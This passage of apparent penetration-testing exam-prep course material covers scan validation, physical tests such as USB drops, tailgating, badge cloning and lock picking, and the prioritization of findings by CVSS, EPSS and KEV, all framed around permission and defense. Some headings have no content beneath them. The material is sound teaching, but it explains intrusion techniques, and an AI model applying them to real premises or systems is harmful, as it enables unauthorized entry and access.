• Evidence: Banner SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13. dpkg -s openssh-server, with client-supplied credentials on the stated date from the stated address, returned Version 1:9.6p1-3ubuntu13. USN-6859-1 lists 1:9.6p1-3ubuntu13.3 as fixed. Exploitation not attempted, per the ROE.
• Root cause: Security updates have not been applied since the host was installed, and automatic updates are off.
• Remediation: Install the update from USN-6859-1, turn automatic security updates on, and confirm by rerunning the dpkg command. If patching must wait, Qualys notes that setting LoginGraceTime to 0 closes the code execution path, at the cost of exposing sshd to denial of service.

Two shorter records travel with it. A rejected result keeps its reason: "CVE-2024-6387 on 203.0.113.20: scanner matched the banner's version. Installed package 1:9.6p1-3ubuntu13.3 is the vendor's fixed version. Not a finding." A limitation states what you could not see: "Eight addresses gave no reply to discovery and were rescanned with -Pn. Host 203.0.113.21 could not be assessed with credentials until the second scan." Lesson 28 shows where these sit in the finished report.

Common misconceptions

• "The scanner flagged it, so it goes in the report." A flag is a claim. It passes the validation step first, or it is labeled unconfirmed.
• "No findings means the host is secure." It can mean a failed login, a port off the list, a test turned off or a stale plugin set.
• "Running the scan twice validates it." The same method has the same blind spots.
• "Lots of stars or an Excellent rank make an exploit safe." Stars can be faked, a rank describes crash risk, and only the ROE gives permission.

Where this leaves us

• A true positive is a reported weakness you confirmed, a false positive is reported but absent, and a false negative is present but unreported and produces no output of its own.
• Backporting fixes a flaw without changing the upstream version, so compare the installed package with the vendor's fixed version: for Ubuntu 24.04 and CVE-2024-6387, 1:9.6p1-3ubuntu13.3.
• The validation step: state the claim, ask how the tool knows, check it a different way by hand, run a control, record a verdict.
• Greenbone hides results below QoD 70% by default and gives banners with no patch level 30%; Nessus Safe Checks use banner grabbing rather than active testing.
• Credentialed checks : no in plugin 19506 means an authenticated scan's "clean" result was never assessed.
• Nmap does not port-scan hosts that fail discovery, so completeness means comparing the XML's hosts and planned ports with the scope.
• "Retransmission cap hit" points to timing (-T5 allows 2 retries); ports going silent part-way points to an IPS, and the answer is the ROE contact, not evasion.
• A validation script needs a different method, a scope check and a control, and a greeting it collects is still only a claim.
• Judge a public exploit by match, readability, who vouches for it, reliability, effect on failure and the ROE. Stars prove nothing, and 1.9% of the GitHub PoC repositories one study checked showed signs of malice.

Sources

1. Scarfone, K., Souppaya, M., Cody, A., and Orebaugh, A. (2008). Technical guide to information security testing and assessment (NIST Special Publication 800-115), sections 4.3 and 5. National Institute of Standards and Technology. nvlpubs.nist.gov (PDF)
2. Qualys. (2024, July 1). regreSSHion: RCE in OpenSSH's server, on glibc-based Linux systems (CVE-2024-6387) [Security advisory]. qualys.com. CVSS score from the CVE record.
3. Canonical. (2024, July 1). USN-6859-1: OpenSSH vulnerability. Ubuntu Security Notices. ubuntu.com; manual page sshd_config(5)
4. Red Hat. (n.d.). Security backporting practice. Red Hat Customer Portal. access.redhat.com
5. Greenbone. (n.d.). Quality of detection concept (section 10.2.6). In Greenbone Enterprise Appliance documentation, GOS 24.10. docs.greenbone.net
6. Tenable. (n.d.). Nessus plugins 19506, 21745, 104410 and 110385; Tenable Nessus user guide, Advanced settings (Safe Checks).
7. Lyon, G. (n.d.). Nmap reference guide: Output; Timing and performance; ssl-enum-ciphers; Nmap source code (scan_engine.cc, nmap.cc, output.cc, portreasons.cc) for the wording of its messages.
8. Rapid7. (n.d.). Metasploit documentation: Exploit ranking; Module reliability, side effects, and stability; and Metasploitable 2 exploitability guide (used here only for the distccd description).
9. OffSec. (n.d.). About the Exploit Database; SearchSploit: The manual. Exploit Database.
10. El Yadmani, S., The, R., and Gadyatskaya, O. (2023). Beyond the surface: Investigating malicious CVE proof of concept exploits on GitHub (arXiv:2210.08374v2). arxiv.org
11. Tafani-Dereeper, C., Muir, M., and Korn, A. (2024, December 13). Getting a taste of your own medicine: Threat actor MUT-1244 targets offensive actors, leaking hundreds of thousands of credentials. Datadog Security Labs. securitylabs.datadoghq.com
12. Internet Engineering Task Force. RFC 5321 (2008), Simple Mail Transfer Protocol; RFC 6101 (2011), The Secure Sockets Layer (SSL) Protocol Version 3.0; RFC 7568 (2015), Deprecating Secure Sockets Layer Version 3.0. RFC 5321; RFC 6101; RFC 7568

297 USB flash drives on a university campus

On Monday, 27 April 2015, a team of eight students began walking the campus of the University of Illinois at Urbana-Champaign. Each would pretend to tie a shoelace, look around to see whether anyone had noticed, and walk away, leaving a USB flash drive (USB stands for Universal Serial Bus) on the ground. By 29 April they had left 297 of them in parking lots, hallways, classrooms, lobbies and on sidewalks. The first was plugged in less than six minutes after it was dropped. Twice, someone handed a drive straight back to the researcher who was trying to drop it.

Matthew Tischer and six colleagues published the results in 2016 as "Users Really Do Plug in USB Drives They Find". Testers had long told stories about this trick, but the paper says no peer-reviewed study had measured it. Its questions apply to every physical test on the exam: who authorized it, how is it kept safe, what exactly gets measured, and what does the number mean?

Exam objectives: 3.3 (physical security concepts: tailgating, site surveys, USB drops, badge cloning, lock picking). The objective begins "Explain", so expect to define, recognize and compare these techniques, not to perform them. Lesson 21 returns to tailgating as social engineering, Lesson 22 to radio-frequency identification (RFID) attacks beyond doors, and Lesson 29 to physical controls as remediation.

Hold the five techniques as one ladder from outside a building to inside a locked room: look, leave, follow, copy, pick. Each rung needs more explicit permission than the one before.

Testing a system without its owner's written permission is illegal and wrong. That is so under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere, and physical testing adds trespass and burglary law. Do not try any of this on your school, your workplace, your apartment building or any badge system, even with your own badge: the door and the reader belong to someone else. Explaining these techniques takes no lock and no reader.

How the drop was built, and what each file really did

The team varied three things and measured the effect of each:

• place (30 spots across three parts of campus, the Main, South and Engineering Quads, in five location types)
• appearance (no label as the control, keys attached, a return-address label, or labels reading "confidential" or "final exam solutions")
• time of day (6-10 a.m. or 1-5 p.m.)

That made 300 planned drops. One drive was lost and one spot could not be reached for two drops, which leaves 297.

Every file on every drive had a name matching the drive's appearance, but was really an HTML page. Opening one loaded a single image from the team's server, and that request was the measurement. The pages held no scripts, and no code ran automatically on anyone's computer. The same page explained the study, let the person withdraw, and linked to a survey that paid $10.

Two things follow, and both carry over to client work. First, the test proved the risk without creating it: a real attacker's drive could have done harm, and this one could only report "opened". Second, the method has a blind spot. It cannot see a drive that was plugged in with no file opened, or a file opened on a computer with no internet connection.

Permission came first. The university's institutional review board (IRB) approved the experiment, and the authors state that it involved deception. Their acknowledgments call the university's Technology Services, police department and Office of University Counsel "fundamental in executing the study". A physical test needs the same three conversations: with the people who run the systems, the people who will respond, and the lawyers.

Why the result is a range: 45-98%

So the answer to "what share of finders plug in a drive?" is the paper's own estimate of 45-98%. Testers' lore says the label does the work. The paper's Table I says otherwise.

No appearance significantly beat the blank drive, and neither location nor time of day made a significant difference to whether a drive was plugged in. The one movement was downward, and it needs careful wording. The value p = 0.10 misses the usual 0.05 bar, and every return-label drive went out on one day. So the authors say only that they suspect finders had another way to reach the owner.

The survey suggests why. Of 62 valid responses, 42 (68%) said they wanted to return the drive, 11 (18%) said curiosity and 2 (3%) wanted to keep it. Drives with keys came back more often than blank ones, 17 of 60 (28%) against 6 of 60 (10%), p = 0.02. Curiosity still showed: on drives holding a resume and winter break photos, 14 of 33 consenting users opened the resume first and 13 went straight to the photos. And 42 respondents (68%) took no precautions, while 10 (16%) scanned with anti-virus.

These were not unusually careless people. Their computer expertise did not differ significantly from a campus baseline, and they were more risk averse than the general population in every domain except recreational risk. Warnings did not end it either: by the second day Reddit users were telling others not to plug the drives in, and the authors still call the attack largely successful.

Do not quote 45% to a client as what their staff will do. This was one campus in 2015, and the paper's own comparison shows the spread: a CompTIA-commissioned study of 200 drives saw 17% opened, a master's thesis 37% and three anecdotal reports 59-75%. Measure your own client.

The upshot: a USB drop works because helpful people want to find the owner, and curiosity takes over once the drive is in. A tempting label added nothing measurable, skill made no measurable difference, and warnings alone did not stop it.

A USB drop as a client test

A USB drop is the exam's name for leaving USB devices where staff will find them, to see whether they get connected. Choose it when the client wants to measure its removable-media rules and endpoint controls without anyone entering the building. A found drive can carry three different risks, each with its own fix.

A professional drop copies the study's restraint. Use new, team-owned drives with a unique ID on each, counted out and back (Lesson 26), with a harmless beacon and nothing else: no code, no credential capture, no collecting of files. Place them only where the rules of engagement (ROE) say, on the client's own property. Skip the tempting label, since the evidence says it buys nothing. Agree who at the client knows, so a help desk call does not grow into a police report. Results look like this, with fictional data and documentation addresses:

Beacon log, fictional client: 20 drives placed, 17 gone by the last day
time (UTC)           drive  placed        file  source address  browser
2027-03-09 15:41:07  D-07   Lot C, row 2  1     198.51.100.23   Firefox
2027-03-09 18:12:44  D-12   Lot C, row 5  1     198.51.100.23   Edge
2027-03-10 13:03:19  D-07   Lot C, row 2  2     203.0.113.60    Firefox

Three events are not three people. Two distinct drives beaconed, so the report says "between 2 and 17 of 20 drives may have been connected". No name appears, and none should.

Defenders have several views. Windows Security event 6416 records a newly recognized external device, if the Audit PNP Activity subcategory is on. ATT&CK's analytics tie that event to a new volume, process or network adapter, and look for files executed from a mounted drive. The beacon shows in proxy logs. People report too: most drives returned in the study came through administrators acting as lost-and-found contacts (59%) or IT staff (33%).

Fixes follow the mechanisms. NIST SP 800-53 control MP-7 prohibits portable storage devices with no identifiable owner, and SC-41 disables or removes ports a system does not need. Then answer the motive: finders of return-label drives used the label, and each of the ten fictional owners named on them was emailed by 4.4 senders on average within a week. So advertise a place to hand in found media. That advice is an inference from the study, which did not test it.

Physical rules of engagement after Dallas County

Lesson 3 told the story of the Dallas County, Iowa, courthouse arrests, so read this section with it in mind: the testers carried a signed letter and were still arrested and charged. With your body in the building, the paperwork needs more detail than a network test, not less. PTES's pre-engagement questions are a good start:

• Is the site shared, and which floors are in scope?
• Are guards third-party, armed, allowed to use force?
• Are lock picks or bump keys allowed, given local laws?
• What triggers the alarm?

Turn the answers into clauses.

Tools can be a charge of their own. Iowa makes possessing a tool with intent to use it in a burglary an aggravated misdemeanor. Virginia makes possessing burglarious tools with intent a Class 5 felony, and treats possession by anyone but a licensed dealer as prima facie evidence of that intent. CompTIA's sample hardware list names a lock pick kit with the words "where applicable", so check the law where you will work. If you are stopped, stop: keep your hands visible, show the letter, ask them to call the numbers, and never run.

The upshot: before any door, ask who owns it, whether the ROE names this technique at this door, and whether you are inside the window.

Site surveys: reading a building before touching it

A site survey is the first rung: an inspection of a facility's perimeter, entrances, cameras, guards and staff habits before any attempt to get in. It works because physical controls are visible and routines repeat.

PTES describes on-location gathering over time, usually at least two or three days so that patterns show, looking at physical security, wireless signals, employee behavior, shared and adjacent spaces, dumpster diving and the equipment in use. It may be covert, from public ground, or overt, with a client escort.

Run one at the start of any physical scope, because it decides which of the other four tests are worth asking for.

Watch the word: in Wi-Fi work a site survey maps radio coverage, which Lesson 20 teaches. In objective 3.3 it means the building. The output is a dated, timed record like this one.

Every row is a hypothesis, not a finding, and Lesson 12's rule applies: confirm before you report. Defenders notice a survey through people and cameras: a stranger photographing doors, the same car three mornings running. NIST's control PE-6 asks for that monitoring, by guards, video and sensors, with access logs reviewed. The fixes are door-held alarms, cameras aimed at doors, patrols, a habit of challenging strangers, and badges kept out of sight off site.

Tailgating past a badge reader

Tailgating means following an authorized person through a controlled entry without presenting a credential of your own. It works because of a gap in what the door knows: the reader verifies one card and unlocks for a few seconds, and nothing counts the bodies that pass. Manners do the rest, since holding a door feels polite and challenging a stranger feels rude (Lesson 21 covers that social side). NIST treats piggybacking and tailgating as one activity. Some trainers reserve piggybacking for an insider who knowingly lets you through; the objectives list only tailgating, so learn that word.

A tester uses it when the ROE asks whether staff challenge strangers. The evidence has a distinctive shape: one grant and two people. Field names vary by product.

Door controller export, Door 2 (fictional)
2027-03-09 07:41:12  ACCESS GRANTED  badge 40117
2027-03-09 07:41:13  DOOR OPEN
2027-03-09 07:41:21  DOOR CLOSED
Camera 9, same period: two people pass through.
Tester's note, 07:41: followed through Door 2, no credential presented,
not challenged, stopped at the first interior door as the ROE requires.

That mismatch is also how defenders find it: door logs compared with camera counts, a door-held-open alarm, or sensors at a barrier. The fixes are physical. An access control vestibule, the exam's term for what was once called a mantrap, is a space between two interlocking doors that limits how many people pass per authentication (NIST SP 800-53, PE-3(8)). NIST SP 800-116 also names gates or turnstiles that stop more than one person passing after each authentication. A stronger card does nothing here, because the second person never presents one. Add training that makes challenging a stranger normal, with no penalty for being wrong.

Badge cloning: when a proximity card only recites its ID

An access badge usually talks to its reader by radio-frequency identification. It has no battery: a passive tag runs on the reader's signal and replies. NIST SP 800-98 gives 125 or 134 kHz and 13.56 MHz among the common bands, and defines cloning as reading information from a legitimate tag and programming another tag or device to behave the same way. Whether a copy works depends on what the reader asks for.

A classic proximity card at 125 kHz, as Richard Sedivy describes it for SecurityInfoWatch, sends the same unencrypted data every time, one way, with nothing coming back from the reader. There is no secret to steal, only data to repeat.

The upshot: ask what the reader verifies, not what frequency the card uses. 13.56 MHz is a band, not a security property, and a strong card is only as strong as the check the reader performs. For a check that only reads PIV's free-read number, NIST's rating was "LITTLE or NO" confidence.

CompTIA's sample hardware list says "NFC/RFID cloning equipment" (NFC is near-field communication). The usual open-source example is Proxmark3, a general RFID research tool originally built by Jonathan Westhues. It tells a tester the card family and whether keys protect the card, and those facts go in the report; this course does not cover operating it. Reading a badge means collecting a credential from a person, so the professional default is a client-issued test badge with normal staff access, and copies are counted back and destroyed at the end (Lesson 26). Reading a real employee's badge needs its own ROE clause.

Check that the door is really under reader control. A door on an unlocked schedule opens for anyone, so a "success" at 10:00 is a false positive in Lesson 12's sense. The controller log decides.

A reader cannot tell a good copy from the original, so detection happens in logs and in people. Signs include one credential at two distant doors within minutes, entries while the holder is on leave, or a second entry with no recorded exit. That last check is anti-passback, a rule that refuses or flags consecutive entries on one card. The fix is credentials that prove possession of a key, with every reader doing that check; while readers still accept old cards, the old weakness stays open. Add a personal identification number (PIN) or biometric at sensitive doors, as SP 800-98 suggests, and review the logs.

Lock picking and the pin tumbler lock

The common door cylinder is a pin tumbler lock. A plug turns inside a shell, and a row of spring-loaded pin stacks blocks it. Each stack has a cut. The right key lifts every stack until its cut sits at the border between plug and shell, the shear line, and only then can the plug rotate. One stack too low or too high keeps it blocked.

Lock picking opens a lock with no key. Matt Blaze's 2003 paper explains that it exploits small manufacturing imperfections and mechanical tolerances to put the lock in the state a key would create. So the weakness lies in how precisely the lock was made, and better locks with features designed against manipulation are much harder. This course stops at that mechanism, because objective 3.3 asks you to explain it.

Testers use it only on doors the ROE names, usually last, since an easier rung may already have answered the question. A sensible alternative is a spare cylinder of the same model tested on a table with the client watching, which risks no door and no alarm. The evidence is the cylinder's model, the time taken and the witness. Blaze notes that picking is generally non-destructive and may leave little external evidence, so defenders must catch what surrounds it: a door contact reporting an opening with no badge, a camera on the door, an alarm.

The fixes start with better cylinders, correctly installed, since Blaze stresses that security depends on both. NIST's control PE-3 adds key control: secure keys, inventory them, and change them when they are lost or their holders leave. Master keying has its own cost: Blaze showed that someone holding one ordinary key to a master-keyed lock can work out a master key, which he calls rights amplification, or privilege escalation. So keep the most sensitive rooms off the master key, and layer a reader, a door contact and a camera on them.

The five techniques at a glance

A worked decision: ruling on the Tern Harbor plan

Here is the reasoning in the shape of a performance-based question, using the Tern Harbor survey and these rules.

PHYSICAL RULES OF ENGAGEMENT (extract; fictional client)
Client:    Tern Harbor Logistics, owner of Building A and Lot C
Signed by: Chief Operating Officer; letter carried by each tester
Window:    Survey 2-4 March 2027; testing 9-11 March 2027,
           07:00-19:00 America/Chicago; no entry outside the window
Allowed:   Survey from public areas and the lobby, plus one escorted
             walk of the second-floor corridor
           Tailgating at Doors 2 and 3; stop at the first interior door
           USB drops: 20 team drives, Lot C only, image beacon only
           Badge copy: client-issued test badge TB-01 only; no employee
             badge may be read
Excluded:  Lock picks and bypass tools; force, damage, alarms
Contacts:  Security Director and COO, 24-hour numbers tested 2 March

Ask four questions of each proposed action, in order: whose property is it, does the ROE name this technique here, is it inside the window, and will the result prove anything?

Two actions go, one of them at a new time, and three stop. Now change one input. While surveying the lobby on 2 March, the tester reads a sign: "Managed by Pier 9 Properties" (also fictional). The client confirms that Tern Harbor only leases floors 1 and 2, and that Pier 9 owns the building and runs the lobby, the loading dock and Lot C. Nothing in the signed paperwork has changed.

The tester stops, calls the Security Director on the tested number, and asks the client to get Pier 9's written permission or shrink the scope. Anything left untested goes in the report's limitations. One sign changed four rulings, and it is Lesson 3's question in a different building.

Exam cues: telling the five apart

How physical findings are reported

Here is the entry for Door 3, written as you would for the fictional client.

• Title: After-hours staff entrance opens for a copied badge because readers accept 125 kHz proximity cards.
• Severity: High. A copy of any enrolled badge carries that person's access, copying needs no key or secret, and Door 3 leads to staff areas after the guard desk closes. It is not rated Critical because Room 2B has a separate lock and copying a real employee's badge was not tested under the ROE.
• Evidence: Controller export, 9 March 2027, 18:31 America/Chicago: ACCESS GRANTED, Door 3, credential TB-01, presented on team card TC-1 while the door was under reader control. Witnessed by the Security Director. Photo of the reader, with no people in it. No employee badge was read.
• Root cause: The access system trusts an ID sent unencrypted, with no cryptographic proof from the card and no second factor at the door.
• Remediation: Replace cards and readers with a family that proves possession of a key, and stop readers accepting 125 kHz when migration ends. Until then, require a PIN at Door 3 after hours, turn on anti-passback, and review logs for one credential at two doors. Retest with a new test badge.

Physical findings rarely have a Common Vulnerabilities and Exposures (CVE) entry, so state likelihood and impact in plain words (Lessons 14 and 28 cover scoring).

Report doors and rates, never names: "two of three attempts at Door 2 went unchallenged" describes a process, and naming the person who held the door punishes helpfulness. Give both bounds for a USB drop. List what was not tested, such as "Room 2B cylinder not picked, per ROE". Count every drive and copied badge back in.

If the logs show something you did not do, such as an employee's badge at two distant doors, call the client's contact that day, because it may be a real intruder (Lesson 27).

Common misconceptions

• "The study proves 98% of people plug in found drives." 98% of drives were removed and 45% had a file opened. The paper's estimate is the range between them.
• "A tempting label is what makes a drop work." "Confidential" drives were opened 50% of the time and blank drives 45% (p = 0.72).
• "A stronger card stops tailgating." The second person presents no card. Only something that limits people per authentication stops it.
• "13.56 MHz badges cannot be cloned." MIFARE Classic runs at 13.56 MHz and was broken in 2008. Ask what the reader verifies.

Putting it together

• Tischer et al. dropped 297 drives at the University of Illinois in April 2015: 290 (98%) were removed and 135 (45%) had a file opened, so success is estimated at 45-98%, a ceiling and a floor. The first connection came in under six minutes; the median was 6.9 hours.
• Labels such as "confidential" did not beat blank drives; return-label drives fell to 29% against 45% (p = 0.10); 68% of survey respondents said they wanted to return the drive.
• A site survey reads perimeter, entrances, cameras, guards and habits, usually over at least two or three days. It is not a wireless site survey.
• Tailgating works because a reader checks a card and nothing counts people. Its signature is one grant and two people on camera; a vestibule or turnstile stops it and a better card does not.
• Badge cloning works when the reader accepts an ID with no cryptographic proof. A 125 kHz proximity card sends the same unencrypted data every time, MIFARE Classic was broken in 2008, and reading a card cannot copy a private key.
• Lock picking exploits manufacturing tolerances to reach the state a key creates at the shear line. It leaves little trace, so detection comes from door contacts and cameras; the fixes are better cylinders and key control.
• A physical ROE names the owner of every building, each technique door by door, the window with its time zone, and tested 24-hour contacts. Carrying picks can itself be evidence of intent, as in Virginia.
• Physical findings report doors and rates, not names, give both bounds for a USB drop, and list untested items as limitations.

Sources

1. Tischer, M., Durumeric, Z., Foster, S., Duan, S., Mori, A., Bursztein, E., and Bailey, M. (2016). Users really do plug in USB drives they find. In 2016 IEEE Symposium on Security and Privacy (pp. 306-319). IEEE. doi.org; author's copy (PDF)
2. National Institute of Standards and Technology. Joint Task Force. (2020). Security and privacy controls for information systems and organizations (SP 800-53 Rev. 5; controls MP-7, PE-3, PE-6, PE-8, SC-41). PDF; Karygiannis, T., Eydt, B., Barber, G., Bunn, L., and Phillips, T. (2007). Guidelines for securing radio frequency identification (RFID) systems (SP 800-98). PDF; Ferraiolo, H., Mehta, K., Ghadiali, N., Mohler, J., Johnson, V., and Brady, S. (2018). Guidelines for the use of PIV credentials in facility access (SP 800-116 Rev. 1). PDF
3. The PTES Team. (n.d.). Pre-engagement interactions (physical penetration test questions) and Intelligence gathering (on-location gathering). In Penetration Testing Execution Standard (unofficial mirror of the technical text; the official site is pentest-standard.org). pre-engagement; intelligence gathering
4. The MITRE Corporation. (2025). Replication Through Removable Media (T1091, version 1.3) and Hardware Additions (T1200, version 1.7). MITRE ATT&CK. T1091; T1200
5. Microsoft. (n.d.). 6416(S): A new external device was recognized by the System. Microsoft Learn. learn.microsoft.com
6. Blaze, M. (2003). Rights amplification in master-keyed mechanical locks. IEEE Security and Privacy, 1(2), 24-32. doi.org
7. Garcia, F. D., de Koning Gans, G., Muijrers, R., van Rossum, P., Verdult, R., Wichers Schreur, R., and Jacobs, B. (2008). Dismantling MIFARE Classic. In Computer Security: ESORICS 2008 (pp. 97-114). Springer. doi.org
8. Sedivy, R. (2022, June 13). How secure is your access card? SecurityInfoWatch. securityinfowatch.com
9. Kisi. (n.d.). Area anti-passback in access control. getkisi.com
10. RFID Research Group. (n.d.). Iceman fork: Proxmark [Repository README]. GitHub. github.com
11. Iowa Code section 713.7 (2026), Possession of burglar's tools. legis.iowa.gov (PDF); Code of Virginia section 18.2-94, Possession of burglarious tools. law.lis.virginia.gov
12. CompTIA. (2024). CompTIA PenTest+ PT0-003 exam objectives (Version 5.0), objective 3.3 and sample hardware list. CompTIA (PDF)

A 5.3 that outranks a 10.0

Line 1 of the scanner export from Tallis Freight, a fictional logistics client, is a 10.0 on the Common Vulnerability Scoring System (CVSS), sitting on a test server. Line 640 is a 5.3 on a file server, with no Common Vulnerabilities and Exposures (CVE) number at all. The export runs to 1,412 lines and you have five working days, so most of it will never get your attention. Here you will put line 640 first, defend that choice, and then watch one email reverse it.

That is the skill behind objective 4.1: read output, decide what to go after, and prepare before anything runs. Lesson 8 ended with a three-link map to a payroll database in which every row was still a question; here that map becomes a prioritized plan. If TLS is rusty, the site's Security+ Certification Prep covers it.

Exam objectives: 4.1: target prioritization (high-value asset identification; the descriptors and metrics CVSS base score, CVE, CWE and EPSS; end-of-life software and systems; default configurations; running services; vulnerable encryption methods; defensive capabilities) and capability selection (tool selection; exploit selection and customization, including code analysis; documentation: attack path, low-level diagram creation and storyboard; dependencies; consideration of scope limitations; labeling sensitive systems).

Before you run anything

This is mostly reading and deciding, and the few commands scan only your own lab. Testing a system without its owner's written permission is illegal and wrong, under the US Computer Fraud and Abuse Act, the UK Computer Misuse Act and similar laws elsewhere. Tallis Freight and its hosts are invented. The CVE records in its table are real, with scores read on 3 November 2026; some will have moved by the time you read this.

The task: six findings, five days, one rules-of-engagement extract

A performance-based question gives you evidence and asks for a decision. Here is the extract from the rules of engagement (ROE).

Goal:           Can a person on the office network reach payroll data?
High value:     PAY-DB01 (payroll), DC01 (domain controller)
Test position:  10.20.99.50, office VLAN 99
Window:         Mon-Fri 08:00-18:00; no testing Thu 14:00-18:00 (payroll run)
Allowed:        Read-only browsing of shares; one default-password attempt per device
Not allowed:    Denial of service; anything that restarts a service; using a
                found credential without a named test case in writing
Sensitive:      HR-APP02, PAY-DB01: verification only, no exploitation
Authorization:  Systems owned and run by Tallis Freight
Defenses:       EDR in block mode on Windows servers; WAF in front of the payroll
                portal PAYWEB; 24x7 SOC; no monitoring on VLAN 20

And the six export lines that matter, trimmed. EPSS and KEV are explained in Step 2.

Your task: order the six for testing, and say what you would do and refuse to do on each. Write your order down before you read on.

Step 1: Name the high-value assets before you read a score

A high-value asset is a system or data set whose loss would hurt the client most. Start here, because a score describes a flaw and this step describes the business. Tallis's ROE names two, and such lists usually come from business impact analysis (Lesson 27). When the ROE names none, scan output offers hints. This pattern on one host means a domain controller, which controls every domain account:

53/tcp   open  domain
88/tcp   open  kerberos-sec
389/tcp  open  ldap
445/tcp  open  microsoft-ds
3268/tcp open  globalcatLDAP

Port 1433, 1521, 3306 or 5432 suggests a database (SQL Server, Oracle by convention, MySQL, PostgreSQL). Names such as backup, vault, ca or ci suggest systems that unlock many others. Value can also come from reach: NSA and CISA warn that printers and scanners may hold privileged domain accounts for scanning to a shared drive, which makes F5's printer a possible route to the whole domain. Confirm these leads with the asset owner, because a host named PAYROLL-OLD may be empty. Then give every finding one question: does it bring you closer to PAY-DB01 or DC01?

Step 2: Read the descriptors: CVE, CWE, CVSS and EPSS

Common Vulnerabilities and Exposures gives each publicly disclosed flaw one record, written CVE, a year, and four or more digits. The year is not a publication date: CVE-2011-2523, the backdoored vsftpd 2.3.4 behind the banner in Lesson 7, was published in November 2019. Read a record's conditions too: that one covers only copies downloaded from 30 June to 3 July 2011, so a version string alone does not prove it. A misconfigured share on one client's server is not a product flaw, so it gets no CVE, and a CVE-sorted export buries F4 and F5.

Common Weakness Enumeration (CWE) is a community-developed list of the kinds of mistake behind vulnerabilities. A CVE is one instance; a CWE is the class. CWE-1392 is Use of Default Credentials, CWE-732 is Incorrect Permission Assignment for Critical Resource, and the 2025 Top 25 ranks cross-site scripting (CWE-79) first. A CWE names the root cause when there is no CVE.

The Common Vulnerability Scoring System rates severity from 0 to 10. The Forum of Incident Response and Security Teams (FIRST) owns it. FIRST says CVSS is currently at version 4.0, published in November 2023, but many records still show version 3.1, so expect either. The objective names the base score: the flaw's own characteristics, constant over time and across environments. Both versions share these bands: None 0.0, Low 0.1-3.9, Medium 4.0-6.9, High 7.0-8.9, Critical 9.0-10.0. Here is the vector NIST's National Vulnerability Database (NVD) gives CVE-2011-2523, which scores 9.8:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

So: across a network, with no special conditions, no account and nobody's help, an attacker causes total loss of all three. When there is no CVE, you score the finding yourself. F4 is reached over the network (AV:N), with nothing special needed (AC:L), no account (PR:N) and no help (UI:N), and the effect stays on that server (S:U). Anonymous users can read one share, so confidentiality loss is partial (C:L), with no write or outage (I:N, A:N). FIRST's formula gives 5.3. Change the inputs and watch it move:

Version 3.1 has Base, Temporal and Environmental metric groups; 4.0 has Base, Threat, Environmental and Supplemental. Version 4.0 removes Scope, scoring impact on the vulnerable system (VC, VI, VA) and on subsequent systems (SC, SI, SA) instead, and adds Attack Requirements (AT).

Scores are labeled by what went into them: CVSS-B (base), CVSS-BT (plus threat), CVSS-BE (plus environmental), CVSS-BTE (all three).

The base calculation assumes the worst case for threat until told otherwise: FIRST's calculator code gives the 9.8 flaw CVSS-B 9.3, then 8.9 with proof-of-concept exploit maturity (E:P) and 8.1 with no known exploit (E:U). FIRST's FAQ is blunt: "CVSS-B Base scores are not risk."

Check who scored a record, and when. CVE-2007-2447 in Samba has only an old version 2 score of 6.0 in NVD, not comparable with a 3.1 number. And since 15 April 2026 NVD prioritizes only certain CVEs for analysis. It no longer routinely adds its own score where the CVE's publisher gave one. So a blank NVD score does not mean nobody scored it. Read the CVE record too.

The Exploit Prediction Scoring System (EPSS) asks a different question: how likely is it that exploitation activity for this CVE will be observed in the next 30 days? A machine-learning model re-scores every CVE daily; version 5 began on 15 June 2026. It is free, with no account, from FIRST's API. F2's CVE on 3 November 2026 read:

{"cve":"CVE-2017-0144","epss":"0.992300000","percentile":"0.999360000","date":"2026-11-03"}

The first number is a probability of about 99 percent. The second is a rank, above 99.9 percent of scored CVEs. Exploitation is rare, so scores cluster near zero: of 399,388 CVEs scored that day, the median was 0.006, and 0.10 sat near the 96th percentile, so a 10 percent score is a high rank. FIRST defines no High or Critical bands, says the often-quoted 0.10 cutoff has no special authority, and warns against multiplying EPSS by CVSS, because a probability times an uncalibrated ranking means nothing. And it cannot know whether the flaw is present, reachable or consequential at Tallis.

Beside these sits CISA's Known Exploited Vulnerabilities (KEV) catalog, 1,767 entries on 3 November 2026. KEV is a record and EPSS a forecast; when they disagree, FIRST says follow KEV. Since June 2026, CISA's Binding Operational Directive 26-04 has US federal agencies set patch deadlines from four questions:

• Is the asset publicly exposed?
• Is the flaw in KEV?
• Can an attacker automate it?
• Does it give partial or total control?

CISA notes they are no longer required to use CVSS for prioritization.

Worth holding on to: CVE names the flaw, CWE names the kind of mistake, CVSS rates how bad it is in principle, EPSS forecasts attack activity, and KEV records attacks already seen. None of them knows anything about Tallis Freight.

Step 3: Check what the scores cannot see

End-of-life software and systems. When a vendor stops issuing fixes, each new flaw stays open for good and remediation means replacement. Microsoft's extended support for Windows Server 2012 and 2012 R2 ended on 10 October 2023 and its paid Extended Security Updates on 13 October 2026, so F2's host now gets no fixes at all. Your evidence is a banner or OS fingerprint checked against the vendor's lifecycle page. A short findings list on such a host proves little, because nobody publishes fixes for it, and such systems are fragile, so plan gentler checks.

Default configurations. NSA and CISA put these first on their 2023 list of the top ten misconfigurations their teams find: built-in passwords on devices such as printers and cameras, and insecure default service settings. A default password works because the manual is public. Your evidence is the model on the admin page plus that manual, and you go only as far as the ROE allows. Defenders see at most one login in the device's log. The fix is changing credentials at installation (CWE-1392).

Running services. Every listening service is code accepting input from whoever connects. Compare each host's job with its ports, using the version scan from Lesson 7. Telnet on a file server, a database open to the office VLAN, or a service nobody can explain, like distccd on port 3632 of your Metasploitable VM, is a lead before any CVE is matched. A service running as root or SYSTEM raises the stakes, and removing an unneeded one is often the cheapest fix in a report.

Defensive capabilities. These are intrusion detection and prevention systems, endpoint detection and response (EDR), web application firewalls (WAFs) and the security operations center (SOC). You learn of them from the client's briefing and from enumeration such as Lesson 8's WAF checks. They do not change what is vulnerable; they change who gets alerted, which tool gets blocked, and who must be told first.

So agree whether detection is being tested. An emulation of an advanced persistent threat (APT) may keep the SOC in the dark and follow one group's known behavior. A test like this one usually gives the SOC your source address and window, which is called deconfliction.

If EDR blocks a tool, stop and report a working control. A block is not a fix, since a WAF leaves the flaw behind it. A gap is a finding: nothing watches VLAN 20. Altering a tool so defenses miss it needs explicit permission, and this course does not teach it.

Vulnerable encryption methods: reading a cipher suite, and the DROWN attack

